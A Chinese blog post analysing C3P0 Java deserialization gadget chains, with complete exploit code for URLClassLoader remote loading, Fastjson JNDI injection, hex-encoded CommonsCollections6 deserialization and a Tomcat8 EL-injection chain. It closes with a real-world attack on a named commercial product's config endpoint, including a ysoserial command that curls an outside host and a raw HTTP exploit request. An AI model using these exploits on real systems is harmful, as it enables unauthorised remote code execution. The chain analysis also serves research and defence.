Java安全 - C3P0链原理分析

前言

本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky 原文链接为https://xz.aliyun.com/t/13858

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C3P0是啥？

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C3P0 是一个开源的 JDBC 连接池，它实现了数据源和 JNDI 绑定，支持 JDBC3 规范和 JDBC2 的标准扩展，并且C3P0其实就是JDBC的一部分吧，先来解释一下啥叫连接池

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连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术

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环境

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jdk8u65

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

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Gadget

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C3P0常见的利用方式有如下三种

URLClassLoader远程类加载
JNDI注入
利用HEX序列化字节加载器进行反序列化攻击

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分析

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C3P0 之 URLClassLoader 的链子

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先来回顾下URLClassLoader的类加载

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如果说我们可以控制URLclassLoader或者他的参数就可以自定义字节码加载并且支持多种协议 file jar http

1
2
3

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\Java_project\\Serialization_Learing\\target\\classes")});
Class<?> cl = urlClassLoader.loadClass("Test");
cl.newInstance();

作者在\mchange-commons-java-0.2.11.jar!\com\mchange\v2\naming\ReferenceableUtils.java#referenceToObject()中找到类似的URLClassLoader的执行

相当于一个完整的类加载了，那么接下来去找找谁去调用了ReferenceableUtils.referenceToObject()

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于是找到了ReferenceIndirector 类的 getObject() 方法调用了referenceToObject()方法

再往上跟谁调用了getObject方法，就直接找到了PoolBackedDataSourceBase#readObject()

其实蛮简单的，也不是很绕，也就三步，利用链如下

PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

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接下来就是写EXP了，先尝试把后半段链子写出来

写的时候要注意的点

要用反射去调用referenceToObject方法
referenceToObject方法需要三个传参 Reference var0, Name var1, Context var2, Hashtable var3

package org.example;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.Reference;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Hashtable;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class c = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
        Method m = c.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);
        Reference reference = new Reference("evilexp","evilexp","http://127.0.0.1:8888/"); //evilexp 就是恶意类
        Object o =  m.invoke(c,reference,null,null,null);
    }
}

那么后半条链子已经完成了，我们再来看看如何跟前半条链子进行拼接呢？

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我们来仔细看看PoolBackedDataSourceBase#readObject

如果反序列化得到的类是IndirectlySerialized的实例，则会调用其getObject()方法，然后将返回的类转为ConnectionPoolDataSource类，所以我们来跟进下这个ConnectionPoolDataSource类发现他竟然没有继承Serializable接口

这里要有个点注意的，可能Java基础不太好的话可能不太清楚为啥这个ConnectionPoolDataSource一定要继承Serializable接口，因为在Java反序列化当中，序列化与反序列化的对象都得集成Serializable接口从而给JVM标识，而这里(ConnectionPoolDataSource) o将反序列化出来的对象进行强制转换了，那么也就是存在一定的关系(具体就是向上转型，向下转型，接口转型)，所以能强制类型转换我们反序列化出来的东西的那必然是需要集成Serializable接口的

所以这里也就是作者非常巧妙的地方吧，因为在readObject中这么写了，肯定有他写的原因，所以就去看了 \c3p0.9.5.2.jar!\com\mchange\v2\c3p0\impl\PoolBackedDataSourceBase.java#writeObject()这个序列化的入口

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可以发现这里是将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch中对connectionPoolDataSource属性用indirector.indirectForm方法处理后再进行序列化操作

我们跟进下indirectForm方法，将我们传入的内容强转成Referenceable类并且调用getReference方法，并将返回的结果作为参数实例化一个ReferenceSerialized对象，然后序列化该对象

也就是说我们最终序列化的是一个ReferenceSerialized类的对象，我们来跟进下

再来看看头部，发现其继承的恰好就是IndirectlySerialized

因此在PoolBackedDataSourceBase#readObject中调用的其实是ReferenceSerialized#getObject()方法

那其实就很清晰了，我们需要用到这个PoolBackedDataSourceBase类的writeObject方法来进行序列化的操作，并且再调用他本身的readObject()方法来反序列化，所以我们exp就可以去手写一下了，此时我们只需要把我们想传入的类通过反射添加到connectionPoolDataSource这个属性即可

而这个类就是一个不继承Serializable接口的方法但是他要实现ConnectionPoolDataSource接口和实现Referenceable接口的类，然后通过getReference来返回一个Reference类来进行远程加载类即可

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最终EXP

package org.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3p {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilexp","evilexp","http://127.0.0.1:8888/");
        }
    }
}

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恶意类

public class evilexp {
    public evilexp() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

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JNDI链

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这里其实如果细心的话还是可以看到在上面的Gadget中是存在一个很明显的字眼lookup的，但实际上在反序列化时我们是无法调用到该方法的，因为属性contextName为默认null且不可控

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这条链子依赖于Fastjson或Jackson反序列化漏洞

作者先是找到了 \c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\JndiRefForwardingDataSource.java#dereference()中存在了明显的lookup函数可能存在JNDI注入语句

那么这里判断jndiName是否为String类之后就把jndiName进行传入lookup方法中，我们去看看这个jndiName是否可控并且寻找谁去调用了dereference方法

跟进getJndiName发现对 jndiName 进行了判断该值是不是 Name 的类型，如果是就返回 ((Name) jndiName).clone()，若不是就返回 String

那么可以发现jndiName只要传入String类型即可控制了(之后是有setter方法的)

往上跟进谁调用了dereference方法找到同类下的inner方法

满足cachedInner为空即可进入下方逻辑

在往上跟

找到了setLoginTimeout方法只需要传入一个int类型即可触发，但是这里问题就来了，我的setLoginTimeout其实已经可以通过fastjson触发了，但是最终的JNDI的payload jndiName属性却并没有赋值

所以继续再往上跟能够找到\c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\WrapperConnectionPoolDataSource.java#setLoginTimeout()方法，但是这里的写法很奇怪，因为并不是我的JndiRefForwardingDataSource类直接去调用，而是使用了getNestedDataSource()方法(但仍能够被查找用法查找到)

跟进下getNestedDataSource 发现返回nestedDataSource属性

通过调试可以发现他竟然这里返回的正是我们需要的JndiRefForwardingDataSource类型

所以问题就解决了，那么接下来这个类中仍然没有去set我们的jndiName的方法，所以继续跟进

在\c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\JndiRefConnectionPoolDataSource.java#setLoginTimeout()调用了并且该类中也存在了setJndiName方法来给jndiName赋值，那么整条链子就完成了

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最后的EXP

String payload = "{" +
        "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
        "\"JndiName\":\"rmi://127.0.0.1:1099/muogbv\", " +
        "\"LoginTimeout\":0" +
        "}";
JSON.parse(payload);

C3P0 之 HEX流加载任意类攻击

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喵的不知道怎么起这个名字，看师傅们的博客说什么hexbase什么16进制加载，我整帅点的

链子的形成是因为这个类 WrapperConnectionPoolDataSource 的构造方法中对属性userOverrides的赋值方式存在异样的写法

跟进C3P0ImplUtils#parseUserOverridesAsString()方法，将该对象的userOverridesAsString属性作为参数传入后进行了截取字符串+16进制解码

值得注意的是，在解析过程中调用了substring()方法将字符串头部的HASM_HEADER截去了，因此我们在构造时需要在十六进制字符串头部加上HASM_HEADER，并且会截去字符串最后一位，所以需要在结尾加上一个;

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接着将解码后的数据进行SerializableUtils#fromByteArray()方法的处理

跟进deserializeFromByteArray发现最终调用readObject方法

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那么其实就很简单了，先写一个本地的demo

package org.example;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import org.apache.commons.collections.Transformer;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.util.Map;
public class Test {


    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException, NoSuchFieldException, PropertyVetoException {
        String hex = toHexAscii(tobyteArray(CC6()));


        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource(false);
        wrapperConnectionPoolDataSource.setUserOverridesAsString("HexAsciiSerializedMap:"+hex+";");
  
    }

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

}

其实很容易就能联想到Fastjson了，因为可以发现WrapperConnectionPoolDataSource也是存在setter方法的

那么就可以通过Fastjson来去引入com.mchange.v2.c3p0.WrapperConnectionPoolDataSource的setuserOverridesAsString方法并且传入反序列化的hex值来进行任意类加载或者RCE了

EXP

package org.example;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import org.apache.commons.collections.Transformer;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.util.Map;
public class Test {


    public static void main(String[] args) throws  IllegalAccessException, IOException,  NoSuchFieldException {
        String hex = toHexAscii(tobyteArray(CC6()));


        String payload = "{" +
                "\"1\":{" +
                "\"@type\":\"java.lang.Class\"," +
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
                "}," +
                "\"2\":{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}" +
                "}";
        JSON.parse(payload);

    }

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }
}

当然在低版本的fastjson中也是可以的

String payload = "{" +
        "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
        "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
        "}";

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但在跟着文章复现的时候确实就有一个疑惑了，在Fastjson的学习过程当中，我们知道就是在@type去寻找指定类的时候，是先进行了构造方法的触发，再进行setter方法的调用的，那么在这里是不是有个疑问就是，我先进行了构造方法的触发，那我的setter方法就没有意义了啊？

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其实答案在WrapperConnectionPoolDataSourceBase#setUserOverridesAsString中

如果都不为空就会把三个参数传入vcs.fireVetoableChange方法中，跟进下

实例化了一个PropertyChangeEvent对象，然后跟进fireVetoableChange(方法，最后在375行这个地方调用了WrapperConnectionPoolDataSource#vetoableChange

跟进下，发现跟之前一样会走到parseUserOverridesAsString方法成功进行hex解码并且成功反序列化

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C3P0不出网利用

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只能算是一个科普把，因为利用条件属实苛刻，需要存在Tomcat8相关依赖环境

前言是说不论是URLClassLoader加载远程类，还是JNDI注入，都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网，但却有Fastjson等的相关依赖，但是C3P0是存在一种方式可以摆脱出网的限制的，原因就是他在\mchange-commons-java-0.2.11.jar!\com\mchange\v2\naming\ReferenceableUtils.java#referenceToObject()中的URLClassLoader的执行是有特殊的写法的

他将我们实例化的恶意类强转成了ObjectFactory类并且调用了getObjectInstance方法，那么在JNDI高版本利用中，我们可以加载本地的Factory类进行攻击，而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

先导入依赖

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>8.5.0</version>  
</dependency>  
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>8.5.15</version>  
</dependency>

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EXP(直接参考了下枫师傅的博客主要是写的太好了)

由于BeanFactory中需要Reference为ResourceRef类，因此在getReference()中我们实例化ResourceRef类，类的构造其实就是构造EL表达式了

package C3P0;
 
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
 
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
 
public class C3P0_Tomcat8 {
 
    public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {
 
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }
 
        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }
 
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
 
        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }
 
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {
 
        }
 
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {
 
        }
 
        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }
 
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
 
    //序列化
    public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
        //反射修改connectionPoolDataSource属性值
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);
 
        //序列化流写入文件
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);
 
    }
 
    //反序列化
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        objectInputStream.readObject();
    }
 
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
        Pool_Serial(tomcat8_loader);
        Pool_Deserial();
    }
}

‍

实战分析

‍

云安宝-云匣子 config fastjson RCE

‍

分析

‍

一套springboot开发的项目，看了下web.xml没什么东西，再看下springboot的配置文件spring-servlet.xml发现把过滤器都写在了这里

发现匹配/3.0/authService/** 路径的都会走很多过滤器，在这个控制器里头找到了parseObject方法

‍

那么入口点在这里接下来就是看依赖的事情了

用的是fastjson1.2.38 直接打通用的payload即可,这里就是写一下用到了C3P0链

‍

由于看到CC依赖不考虑JDK的问题直接打CC6因为yso并没有写回显的代码所以打的只能是控制台回显使用curl来证明

1	`java -jar y4-yso.jar CommonsCollections6 "curl http://xxx:7979" > 1.bin`

但是发现用公众号发布的payload是可以打出回显的，自己测试了下y4的这个发现并没有成功

1	`java -jar y4-yso.jar CommonsCollections6 "whoami" > 1.bin`

但是确定是没有回显并不是没有执行命令，但因为jdk的限制无法去字节码加载，也就是只剩下两个思路了，要么就是通过InvokerTransformer去反射调用这种形式

1	`ScriptEngineManager().getEngineByName("js").eval(恶意代码)`

刚好有公众号发出来的payload

POST /3.0/authService/config HTTP/2
Host: xxxx
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Referer: http://xxxx
Cmd: ls -al /tmp/
Accept: */*
Accept-Encoding: gzip, deflate,br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 18907

{"a":{"@type":"java.lang.Class","val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"b":{"@type": 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